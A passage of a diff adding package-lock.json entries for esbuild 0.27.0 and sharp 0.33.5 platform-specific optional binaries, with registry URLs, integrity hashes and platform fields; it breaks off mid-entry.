"node_modules/@esbuild/android-arm": { 641 + "version": "0.27.0", 642 + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.0.tgz", 643 + "integrity": "sha512-j67aezrPNYWJEOHUNLPj9maeJte7uSMM6gMoxfPC9hOg8N02JuQi/T7ewumf4tNvJadFkvLZMlAq73b9uwdMyQ==", 644 + "cpu": [ 645 + "arm" 646 + ], 647 + "dev": true, 648 + "license": "MIT", 649 + "optional": true, 650 + "os": [ 651 + "android" 652 + ], 653 + "engines": { 654 + "node": ">=18" 655 + } 656 + }, 657 + "node_modules/@esbuild/android-arm64": { 658 + "version": "0.27.0", 659 + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.0.tgz", 660 + "integrity": "sha512-CC3vt4+1xZrs97/PKDkl0yN7w8edvU2vZvAFGD16n9F0Cvniy5qvzRXjfO1l94efczkkQE6g1x0i73Qf5uthOQ==", 661 + "cpu": [ 662 + "arm64" 663 + ], 664 + "dev": true, 665 + "license": "MIT", 666 + "optional": true, 667 + "os": [ 668 + "android" 669 + ], 670 + "engines": { 671 + "node": ">=18" 672 + } 673 + }, 674 + "node_modules/@esbuild/android-x64": { 675 + "version": "0.27.0", 676 + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.0.tgz", 677 + "integrity": "sha512-wurMkF1nmQajBO1+0CJmcN17U4BP6GqNSROP8t0X/Jiw2ltYGLHpEksp9MpoBqkrFR3kv2/te6Sha26k3+yZ9Q==", 678 + "cpu": [ 679 + "x64" 680 + ], 681 + "dev": true, 682 + "license": "MIT", 683 + "optional": true, 684 + "os": [ 685 + "android" 686 + ], 687 + "engines": { 688 + "node": ">=18" 689 + } 690 + }, 691 + "node_modules/@esbuild/darwin-arm64": { 692 + "version": "0.27.0", 693 + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.0.tgz", 694 + "integrity": "sha512-uJOQKYCcHhg07DL7i8MzjvS2LaP7W7Pn/7uA0B5S1EnqAirJtbyw4yC5jQ5qcFjHK9l6o/MX9QisBg12kNkdHg==", 695 + "cpu": [ 696 + "arm64" 697 + ], 698 + "dev": true, 699 + "license": "MIT", 700 + "optional": true, 701 + "os": [ 702 + "darwin" 703 + ], 704 + "engines": { 705 + "node": ">=18" 706 + } 707 + }, 708 + "node_modules/@esbuild/darwin-x64": { 709 + "version": "0.27.0", 710 + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.0.tgz", 711 + "integrity": "sha512-8mG6arH3yB/4ZXiEnXof5MK72dE6zM9cDvUcPtxhUZsDjESl9JipZYW60C3JGreKCEP+p8P/72r69m4AZGJd5g==", 712 + "cpu": [ 713 + "x64" 714 + ], 715 + "dev": true, 716 + "license": "MIT", 717 + "optional": true, 718 + "os": [ 719 + "darwin" 720 + ], 721 + "engines": { 722 + "node": ">=18" 723 + } 724 + }, 725 + "node_modules/@esbuild/freebsd-arm64": { 726 + "version": "0.27.0", 727 + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.0.tgz", 728 + "integrity": "sha512-9FHtyO988CwNMMOE3YIeci+UV+x5Zy8fI2qHNpsEtSF83YPBmE8UWmfYAQg6Ux7Gsmd4FejZqnEUZCMGaNQHQw==", 729 + "cpu": [ 730 + "arm64" 731 + ], 732 + "dev": true, 733 + "license": "MIT", 734 + "optional": true, 735 + "os": [ 736 + "freebsd" 737 + ], 738 + "engines": { 739 + "node": ">=18" 740 + } 741 + }, 742 + "node_modules/@esbuild/freebsd-x64": { 743 + "version": "0.27.0", 744 + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.0.tgz", 745 + "integrity": "sha512-zCMeMXI4HS/tXvJz8vWGexpZj2YVtRAihHLk1imZj4efx1BQzN76YFeKqlDr3bUWI26wHwLWPd3rwh6pe4EV7g==", 746 + "cpu": [ 747 + "x64" 748 + ], 749 + "dev": true, 750 + "license": "MIT", 751 + "optional": true, 752 + "os": [ 753 + "freebsd" 754 + ], 755 + "engines": { 756 + "node": ">=18" 757 + } 758 + }, 759 + "node_modules/@esbuild/linux-arm": { 760 + "version": "0.27.0", 761 + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.0.tgz", 762 + "integrity": "sha512-t76XLQDpxgmq2cNXKTVEB7O7YMb42atj2Re2Haf45HkaUpjM2J0UuJZDuaGbPbamzZ7bawyGFUkodL+zcE+jvQ==", 763 + "cpu": [ 764 + "arm" 765 + ], 766 + "dev": true, 767 + "license": "MIT", 768 + "optional": true, 769 + "os": [ 770 + "linux" 771 + ], 772 + "engines": { 773 + "node": ">=18" 774 + } 775 + }, 776 + "node_modules/@esbuild/linux-arm64": { 777 + "version": "0.27.0", 778 + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.0.tgz", 779 + "integrity": "sha512-AS18v0V+vZiLJyi/4LphvBE+OIX682Pu7ZYNsdUHyUKSoRwdnOsMf6FDekwoAFKej14WAkOef3zAORJgAtXnlQ==", 780 + "cpu": [ 781 + "arm64" 782 + ], 783 + "dev": true, 784 + "license": "MIT", 785 + "optional": true, 786 + "os": [ 787 + "linux" 788 + ], 789 + "engines": { 790 + "node": ">=18" 791 + } 792 + }, 793 + "node_modules/@esbuild/linux-ia32": { 794 + "version": "0.27.0", 795 + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.0.tgz", 796 + "integrity": "sha512-Mz1jxqm/kfgKkc/KLHC5qIujMvnnarD9ra1cEcrs7qshTUSksPihGrWHVG5+osAIQ68577Zpww7SGapmzSt4Nw==", 797 + "cpu": [ 798 + "ia32" 799 + ], 800 + "dev": true, 801 + "license": "MIT", 802 + "optional": true, 803 + "os": [ 804 + "linux" 805 + ], 806 + "engines": { 807 + "node": ">=18" 808 + } 809 + }, 810 + "node_modules/@esbuild/linux-loong64": { 811 + "version": "0.27.0", 812 + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.0.tgz", 813 + "integrity": "sha512-QbEREjdJeIreIAbdG2hLU1yXm1uu+LTdzoq1KCo4G4pFOLlvIspBm36QrQOar9LFduavoWX2msNFAAAY9j4BDg==", 814 + "cpu": [ 815 + "loong64" 816 + ], 817 + "dev": true, 818 + "license": "MIT", 819 + "optional": true, 820 + "os": [ 821 + "linux" 822 + ], 823 + "engines": { 824 + "node": ">=18" 825 + } 826 + }, 827 + "node_modules/@esbuild/linux-mips64el": { 828 + "version": "0.27.0", 829 + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.0.tgz", 830 + "integrity": "sha512-sJz3zRNe4tO2wxvDpH/HYJilb6+2YJxo/ZNbVdtFiKDufzWq4JmKAiHy9iGoLjAV7r/W32VgaHGkk35cUXlNOg==", 831 + "cpu": [ 832 + "mips64el" 833 + ], 834 + "dev": true, 835 + "license": "MIT", 836 + "optional": true, 837 + "os": [ 838 + "linux" 839 + ], 840 + "engines": { 841 + "node": ">=18" 842 + } 843 + }, 844 + "node_modules/@esbuild/linux-ppc64": { 845 + "version": "0.27.0", 846 + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.0.tgz", 847 + "integrity": "sha512-z9N10FBD0DCS2dmSABDBb5TLAyF1/ydVb+N4pi88T45efQ/w4ohr/F/QYCkxDPnkhkp6AIpIcQKQ8F0ANoA2JA==", 848 + "cpu": [ 849 + "ppc64" 850 + ], 851 + "dev": true, 852 + "license": "MIT", 853 + "optional": true, 854 + "os": [ 855 + "linux" 856 + ], 857 + "engines": { 858 + "node": ">=18" 859 + } 860 + }, 861 + "node_modules/@esbuild/linux-riscv64": { 862 + "version": "0.27.0", 863 + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.0.tgz", 864 + "integrity": "sha512-pQdyAIZ0BWIC5GyvVFn5awDiO14TkT/19FTmFcPdDec94KJ1uZcmFs21Fo8auMXzD4Tt+diXu1LW1gHus9fhFQ==", 865 + "cpu": [ 866 + "riscv64" 867 + ], 868 + "dev": true, 869 + "license": "MIT", 870 + "optional": true, 871 + "os": [ 872 + "linux" 873 + ], 874 + "engines": { 875 + "node": ">=18" 876 + } 877 + }, 878 + "node_modules/@esbuild/linux-s390x": { 879 + "version": "0.27.0", 880 + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.0.tgz", 881 + "integrity": "sha512-hPlRWR4eIDDEci953RI1BLZitgi5uqcsjKMxwYfmi4LcwyWo2IcRP+lThVnKjNtk90pLS8nKdroXYOqW+QQH+w==", 882 + "cpu": [ 883 + "s390x" 884 + ], 885 + "dev": true, 886 + "license": "MIT", 887 + "optional": true, 888 + "os": [ 889 + "linux" 890 + ], 891 + "engines": { 892 + "node": ">=18" 893 + } 894 + }, 895 + "node_modules/@esbuild/linux-x64": { 896 + "version": "0.27.0", 897 + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.0.tgz", 898 + "integrity": "sha512-1hBWx4OUJE2cab++aVZ7pObD6s+DK4mPGpemtnAORBvb5l/g5xFGk0vc0PjSkrDs0XaXj9yyob3d14XqvnQ4gw==", 899 + "cpu": [ 900 + "x64" 901 + ], 902 + "dev": true, 903 + "license": "MIT", 904 + "optional": true, 905 + "os": [ 906 + "linux" 907 + ], 908 + "engines": { 909 + "node": ">=18" 910 + } 911 + }, 912 + "node_modules/@esbuild/netbsd-arm64": { 913 + "version": "0.27.0", 914 + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.0.tgz", 915 + "integrity": "sha512-6m0sfQfxfQfy1qRuecMkJlf1cIzTOgyaeXaiVaaki8/v+WB+U4hc6ik15ZW6TAllRlg/WuQXxWj1jx6C+dfy3w==", 916 + "cpu": [ 917 + "arm64" 918 + ], 919 + "dev": true, 920 + "license": "MIT", 921 + "optional": true, 922 + "os": [ 923 + "netbsd" 924 + ], 925 + "engines": { 926 + "node": ">=18" 927 + } 928 + }, 929 + "node_modules/@esbuild/netbsd-x64": { 930 + "version": "0.27.0", 931 + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.0.tgz", 932 + "integrity": "sha512-xbbOdfn06FtcJ9d0ShxxvSn2iUsGd/lgPIO2V3VZIPDbEaIj1/3nBBe1AwuEZKXVXkMmpr6LUAgMkLD/4D2PPA==", 933 + "cpu": [ 934 + "x64" 935 + ], 936 + "dev": true, 937 + "license": "MIT", 938 + "optional": true, 939 + "os": [ 940 + "netbsd" 941 + ], 942 + "engines": { 943 + "node": ">=18" 944 + } 945 + }, 946 + "node_modules/@esbuild/openbsd-arm64": { 947 + "version": "0.27.0", 948 + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.0.tgz", 949 + "integrity": "sha512-fWgqR8uNbCQ/GGv0yhzttj6sU/9Z5/Sv/VGU3F5OuXK6J6SlriONKrQ7tNlwBrJZXRYk5jUhuWvF7GYzGguBZQ==", 950 + "cpu": [ 951 + "arm64" 952 + ], 953 + "dev": true, 954 + "license": "MIT", 955 + "optional": true, 956 + "os": [ 957 + "openbsd" 958 + ], 959 + "engines": { 960 + "node": ">=18" 961 + } 962 + }, 963 + "node_modules/@esbuild/openbsd-x64": { 964 + "version": "0.27.0", 965 + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.0.tgz", 966 + "integrity": "sha512-aCwlRdSNMNxkGGqQajMUza6uXzR/U0dIl1QmLjPtRbLOx3Gy3otfFu/VjATy4yQzo9yFDGTxYDo1FfAD9oRD2A==", 967 + "cpu": [ 968 + "x64" 969 + ], 970 + "dev": true, 971 + "license": "MIT", 972 + "optional": true, 973 + "os": [ 974 + "openbsd" 975 + ], 976 + "engines": { 977 + "node": ">=18" 978 + } 979 + }, 980 + "node_modules/@esbuild/openharmony-arm64": { 981 + "version": "0.27.0", 982 + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.0.tgz", 983 + "integrity": "sha512-nyvsBccxNAsNYz2jVFYwEGuRRomqZ149A39SHWk4hV0jWxKM0hjBPm3AmdxcbHiFLbBSwG6SbpIcUbXjgyECfA==", 984 + "cpu": [ 985 + "arm64" 986 + ], 987 + "dev": true, 988 + "license": "MIT", 989 + "optional": true, 990 + "os": [ 991 + "openharmony" 992 + ], 993 + "engines": { 994 + "node": ">=18" 995 + } 996 + }, 997 + "node_modules/@esbuild/sunos-x64": { 998 + "version": "0.27.0", 999 + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.0.tgz", 1000 + "integrity": "sha512-Q1KY1iJafM+UX6CFEL+F4HRTgygmEW568YMqDA5UV97AuZSm21b7SXIrRJDwXWPzr8MGr75fUZPV67FdtMHlHA==", 1001 + "cpu": [ 1002 + "x64" 1003 + ], 1004 + "dev": true, 1005 + "license": "MIT", 1006 + "optional": true, 1007 + "os": [ 1008 + "sunos" 1009 + ], 1010 + "engines": { 1011 + "node": ">=18" 1012 + } 1013 + }, 1014 + "node_modules/@esbuild/win32-arm64": { 1015 + "version": "0.27.0", 1016 + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.0.tgz", 1017 + "integrity": "sha512-W1eyGNi6d+8kOmZIwi/EDjrL9nxQIQ0MiGqe/AWc6+IaHloxHSGoeRgDRKHFISThLmsewZ5nHFvGFWdBYlgKPg==", 1018 + "cpu": [ 1019 + "arm64" 1020 + ], 1021 + "dev": true, 1022 + "license": "MIT", 1023 + "optional": true, 1024 + "os": [ 1025 + "win32" 1026 + ], 1027 + "engines": { 1028 + "node": ">=18" 1029 + } 1030 + }, 1031 + "node_modules/@esbuild/win32-ia32": { 1032 + "version": "0.27.0", 1033 + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.0.tgz", 1034 + "integrity": "sha512-30z1aKL9h22kQhilnYkORFYt+3wp7yZsHWus+wSKAJR8JtdfI76LJ4SBdMsCopTR3z/ORqVu5L1vtnHZWVj4cQ==", 1035 + "cpu": [ 1036 + "ia32" 1037 + ], 1038 + "dev": true, 1039 + "license": "MIT", 1040 + "optional": true, 1041 + "os": [ 1042 + "win32" 1043 + ], 1044 + "engines": { 1045 + "node": ">=18" 1046 + } 1047 + }, 1048 + "node_modules/@esbuild/win32-x64": { 1049 + "version": "0.27.0", 1050 + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.0.tgz", 1051 + "integrity": "sha512-aIitBcjQeyOhMTImhLZmtxfdOcuNRpwlPNmlFKPcHQYPhEssw75Cl1TSXJXpMkzaua9FUetx/4OQKq7eJul5Cg==", 1052 + "cpu": [ 1053 + "x64" 1054 + ], 1055 + "dev": true, 1056 + "license": "MIT", 1057 + "optional": true, 1058 + "os": [ 1059 + "win32" 1060 + ], 1061 + "engines": { 1062 + "node": ">=18" 1063 + } 1064 + }, 1065 + "node_modules/@img/sharp-darwin-arm64": { 1066 + "version": "0.33.5", 1067 + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.33.5.tgz", 1068 + "integrity": "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ==", 1069 + "cpu": [ 1070 + "arm64" 1071 + ], 1072 + "dev": true, 1073 + "license": "Apache-2.0", 1074 + "optional": true, 1075 + "os": [ 1076 + "darwin" 1077 + ], 1078 + "engines": { 1079 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1080 + }, 1081 + "funding": { 1082 + "url": "https://opencollective.com/libvips" 1083 + }, 1084 + "optionalDependencies": { 1085 + "@img/sharp-libvips-darwin-arm64": "1.0.4" 1086 + } 1087 + }, 1088 + "node_modules/@img/sharp-darwin-x64": { 1089 + "version": "0.33.5", 1090 + "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.33.5.tgz", 1091 + "integrity": "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q==", 1092 + "cpu": [ 1093 + "x64" 1094 + ], 1095 + "dev": true, 1096 + "license": "Apache-2.0", 1097 + "optional": true, 1098 + "os": [ 1099 + "darwin" 1100 + ], 1101 + "engines": { 1102 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1103 + }, 1104 + "funding": { 1105 + "url": "https://opencollective.com/libvips" 1106 + }, 1107 + "optionalDependencies": { 1108 + "@img/sharp-libvips-darwin-x64": "1.0.4" 1109 + } 1110 + }, 1111 + "node_modules/@img/sharp-libvips-darwin-arm64": { 1112 + "version": "1.0.4", 1113 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.0.4.tgz", 1114 + "integrity": "sha512-XblONe153h0O2zuFfTAbQYAX2JhYmDHeWikp1LM9Hul9gVPjFY427k6dFEcOL72O01QxQsWi761svJ/ev9xEDg==", 1115 + "cpu": [ 1116 + "arm64" 1117 + ], 1118 + "dev": true, 1119 + "license": "LGPL-3.0-or-later", 1120 + "optional": true, 1121 + "os": [ 1122 + "darwin" 1123 + ], 1124 + "funding": { 1125 + "url": "https://opencollective.com/libvips" 1126 + } 1127 + }, 1128 + "node_modules/@img/sharp-libvips-darwin-x64": { 1129 + "version": "1.0.4", 1130 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.0.4.tgz", 1131 + "integrity": "sha512-xnGR8YuZYfJGmWPvmlunFaWJsb9T/AO2ykoP3Fz/0X5XV2aoYBPkX6xqCQvUTKKiLddarLaxpzNe+b1hjeWHAQ==", 1132 + "cpu": [ 1133 + "x64" 1134 + ], 1135 + "dev": true, 1136 + "license": "LGPL-3.0-or-later", 1137 + "optional": true, 1138 + "os": [ 1139 + "darwin" 1140 + ], 1141 + "funding": { 1142 + "url": "https://opencollective.com/libvips" 1143 + } 1144 + }, 1145 + "node_modules/@img/sharp-libvips-linux-arm": { 1146 + "version": "1.0.5", 1147 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.0.5.tgz", 1148 + "integrity": "sha512-gvcC4ACAOPRNATg/ov8/MnbxFDJqf/pDePbBnuBDcjsI8PssmjoKMAz4LtLaVi+OnSb5FK/yIOamqDwGmXW32g==", 1149 + "cpu": [ 1150 + "arm" 1151 + ], 1152 + "dev": true, 1153 + "license": "LGPL-3.0-or-later", 1154 + "optional": true, 1155 + "os": [ 1156 + "linux" 1157 + ], 1158 + "funding": { 1159 + "url": "https://opencollective.com/libvips" 1160 + } 1161 + }, 1162 + "node_modules/@img/sharp-libvips-linux-arm64": { 1163 + "version": "1.0.4", 1164 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.0.4.tgz", 1165 + "integrity": "sha512-9B+taZ8DlyyqzZQnoeIvDVR/2F4EbMepXMc/NdVbkzsJbzkUjhXv/70GQJ7tdLA4YJgNP25zukcxpX2/SueNrA==", 1166 + "cpu": [ 1167 + "arm64" 1168 + ], 1169 + "dev": true, 1170 + "license": "LGPL-3.0-or-later", 1171 + "optional": true, 1172 + "os": [ 1173 + "linux" 1174 + ], 1175 + "funding": { 1176 + "url": "https://opencollective.com/libvips" 1177 + } 1178 + }, 1179 + "node_modules/@img/sharp-libvips-linux-s390x": { 1180 + "version": "1.0.4", 1181 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.0.4.tgz", 1182 + "integrity": "sha512-u7Wz6ntiSSgGSGcjZ55im6uvTrOxSIS8/dgoVMoiGE9I6JAfU50yH5BoDlYA1tcuGS7g/QNtetJnxA6QEsCVTA==", 1183 + "cpu": [ 1184 + "s390x" 1185 + ], 1186 + "dev": true, 1187 + "license": "LGPL-3.0-or-later", 1188 + "optional": true, 1189 + "os": [ 1190 + "linux" 1191 + ], 1192 + "funding": { 1193 + "url": "https://opencollective.com/libvips" 1194 + } 1195 + }, 1196 + "node_modules/@img/sharp-libvips-linux-x64": { 1197 + "version": "1.0.4", 1198 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.4.tgz", 1199 + "integrity": "sha512-MmWmQ3iPFZr0Iev+BAgVMb3ZyC4KeFc3jFxnNbEPas60e1cIfevbtuyf9nDGIzOaW9PdnDciJm+wFFaTlj5xYw==", 1200 + "cpu": [ 1201 + "x64" 1202 + ], 1203 + "dev": true, 1204 + "license": "LGPL-3.0-or-later", 1205 + "optional": true, 1206 + "os": [ 1207 + "linux" 1208 + ], 1209 + "funding": { 1210 + "url": "https://opencollective.com/libvips" 1211 + } 1212 + }, 1213 + "node_modules/@img/sharp-libvips-linuxmusl-arm64": { 1214 + "version": "1.0.4", 1215 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.0.4.tgz", 1216 + "integrity": "sha512-9Ti+BbTYDcsbp4wfYib8Ctm1ilkugkA/uscUn6UXK1ldpC1JjiXbLfFZtRlBhjPZ5o1NCLiDbg8fhUPKStHoTA==", 1217 + "cpu": [ 1218 + "arm64" 1219 + ], 1220 + "dev": true, 1221 + "license": "LGPL-3.0-or-later", 1222 + "optional": true, 1223 + "os": [ 1224 + "linux" 1225 + ], 1226 + "funding": { 1227 + "url": "https://opencollective.com/libvips" 1228 + } 1229 + }, 1230 + "node_modules/@img/sharp-libvips-linuxmusl-x64": { 1231 + "version": "1.0.4", 1232 + "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.0.4.tgz", 1233 + "integrity": "sha512-viYN1KX9m+/hGkJtvYYp+CCLgnJXwiQB39damAO7WMdKWlIhmYTfHjwSbQeUK/20vY154mwezd9HflVFM1wVSw==", 1234 + "cpu": [ 1235 + "x64" 1236 + ], 1237 + "dev": true, 1238 + "license": "LGPL-3.0-or-later", 1239 + "optional": true, 1240 + "os": [ 1241 + "linux" 1242 + ], 1243 + "funding": { 1244 + "url": "https://opencollective.com/libvips" 1245 + } 1246 + }, 1247 + "node_modules/@img/sharp-linux-arm": { 1248 + "version": "0.33.5", 1249 + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.33.5.tgz", 1250 + "integrity": "sha512-JTS1eldqZbJxjvKaAkxhZmBqPRGmxgu+qFKSInv8moZ2AmT5Yib3EQ1c6gp493HvrvV8QgdOXdyaIBrhvFhBMQ==", 1251 + "cpu": [ 1252 + "arm" 1253 + ], 1254 + "dev": true, 1255 + "license": "Apache-2.0", 1256 + "optional": true, 1257 + "os": [ 1258 + "linux" 1259 + ], 1260 + "engines": { 1261 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1262 + }, 1263 + "funding": { 1264 + "url": "https://opencollective.com/libvips" 1265 + }, 1266 + "optionalDependencies": { 1267 + "@img/sharp-libvips-linux-arm": "1.0.5" 1268 + } 1269 + }, 1270 + "node_modules/@img/sharp-linux-arm64": { 1271 + "version": "0.33.5", 1272 + "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.33.5.tgz", 1273 + "integrity": "sha512-JMVv+AMRyGOHtO1RFBiJy/MBsgz0x4AWrT6QoEVVTyh1E39TrCUpTRI7mx9VksGX4awWASxqCYLCV4wBZHAYxA==", 1274 + "cpu": [ 1275 + "arm64" 1276 + ], 1277 + "dev": true, 1278 + "license": "Apache-2.0", 1279 + "optional": true, 1280 + "os": [ 1281 + "linux" 1282 + ], 1283 + "engines": { 1284 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1285 + }, 1286 + "funding": { 1287 + "url": "https://opencollective.com/libvips" 1288 + }, 1289 + "optionalDependencies": { 1290 + "@img/sharp-libvips-linux-arm64": "1.0.4" 1291 + } 1292 + }, 1293 + "node_modules/@img/sharp-linux-s390x": { 1294 + "version": "0.33.5", 1295 + "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.33.5.tgz", 1296 + "integrity": "sha512-y/5PCd+mP4CA/sPDKl2961b+C9d+vPAveS33s6Z3zfASk2j5upL6fXVPZi7ztePZ5CuH+1kW8JtvxgbuXHRa4Q==", 1297 + "cpu": [ 1298 + "s390x" 1299 + ], 1300 + "dev": true, 1301 + "license": "Apache-2.0", 1302 + "optional": true, 1303 + "os": [ 1304 + "linux" 1305 + ], 1306 + "engines": { 1307 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1308 + }, 1309 + "funding": { 1310 + "url": "https://opencollective.com/libvips" 1311 + }, 1312 + "optionalDependencies": { 1313 + "@img/sharp-libvips-linux-s390x": "1.0.4" 1314 + } 1315 + }, 1316 + "node_modules/@img/sharp-linux-x64": { 1317 + "version": "0.33.5", 1318 + "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.33.5.tgz", 1319 + "integrity": "sha512-opC+Ok5pRNAzuvq1AG0ar+1owsu842/Ab+4qvU879ippJBHvyY5n2mxF1izXqkPYlGuP/M556uh53jRLJmzTWA==", 1320 + "cpu": [ 1321 + "x64" 1322 + ], 1323 + "dev": true, 1324 + "license": "Apache-2.0", 1325 + "optional": true, 1326 + "os": [ 1327 + "linux" 1328 + ], 1329 + "engines": { 1330 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1331 + }, 1332 + "funding": { 1333 + "url": "https://opencollective.com/libvips" 1334 + }, 1335 + "optionalDependencies": { 1336 + "@img/sharp-libvips-linux-x64": "1.0.4" 1337 + } 1338 + }, 1339 + "node_modules/@img/sharp-linuxmusl-arm64": { 1340 + "version": "0.33.5", 1341 + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.33.5.tgz", 1342 + "integrity": "sha512-XrHMZwGQGvJg2V/oRSUfSAfjfPxO+4DkiRh6p2AFjLQztWUuY/o8Mq0eMQVIY7HJ1CDQUJlxGGZRw1a5bqmd1g==", 1343 + "cpu": [ 1344 + "arm64" 1345 + ], 1346 + "dev": true, 1347 + "license": "Apache-2.0", 1348 + "optional": true, 1349 + "os": [ 1350 + "linux" 1351 + ], 1352 + "engines": { 1353 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1354 + }, 1355 + "funding": { 1356 + "url": "https://opencollective.com/libvips" 1357 + }, 1358 + "optionalDependencies": { 1359 + "@img/sharp-libvips-linuxmusl-arm64": "1.0.4" 1360 + } 1361 + }, 1362 + "node_modules/@img/sharp-linuxmusl-x64": { 1363 + "version": "0.33.5", 1364 + "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.33.5.tgz", 1365 + "integrity": "sha512-WT+d/cgqKkkKySYmqoZ8y3pxx7lx9vVejxW/W4DOFMYVSkErR+w7mf2u8m/y4+xHe7yY9DAXQMWQhpnMuFfScw==", 1366 + "cpu": [ 1367 + "x64" 1368 + ], 1369 + "dev": true, 1370 + "license": "Apache-2.0", 1371 + "optional": true, 1372 + "os": [ 1373 + "linux" 1374 + ], 1375 + "engines": { 1376 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1377 + }, 1378 + "funding": { 1379 + "url": "https://opencollective.com/libvips" 1380 + }, 1381 + "optionalDependencies": { 1382 + "@img/sharp-libvips-linuxmusl-x64": "1.0.4" 1383 + } 1384 + }, 1385 + "node_modules/@img/sharp-wasm32": { 1386 + "version": "0.33.5", 1387 + "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.33.5.tgz", 1388 + "integrity": "sha512-ykUW4LVGaMcU9lu9thv85CbRMAwfeadCJHRsg2GmeRa/cJxsVY9Rbd57JcMxBkKHag5U/x7TSBpScF4U8ElVzg==", 1389 + "cpu": [ 1390 + "wasm32" 1391 + ], 1392 + "dev": true, 1393 + "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", 1394 + "optional": true, 1395 + "dependencies": { 1396 + "@emnapi/runtime": "^1.2.0" 1397 + }, 1398 + "engines": { 1399 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1400 + }, 1401 + "funding": { 1402 + "url": "https://opencollective.com/libvips" 1403 + } 1404 + }, 1405 + "node_modules/@img/sharp-win32-ia32": { 1406 + "version": "0.33.5", 1407 + "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.33.5.tgz", 1408 + "integrity": "sha512-T36PblLaTwuVJ/zw/LaH0PdZkRz5rd3SmMHX8GSmR7vtNSP5Z6bQkExdSK7xGWyxLw4sUknBuugTelgw2faBbQ==", 1409 + "cpu": [ 1410 + "ia32" 1411 + ], 1412 + "dev": true, 1413 + "license": "Apache-2.0 AND LGPL-3.0-or-later", 1414 + "optional": true, 1415 + "os": [ 1416 + "win32" 1417 + ], 1418 + "engines": { 1419 + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" 1420 + }, 1421 + "funding": { 1422 + "url": "https://opencollective.com/libvips" 1423 + } 1424 + }, 1425 + "node_modules/@img/sharp-win32-x64": { 1426 + "version": "0.33.5", 1427 + "resolved": 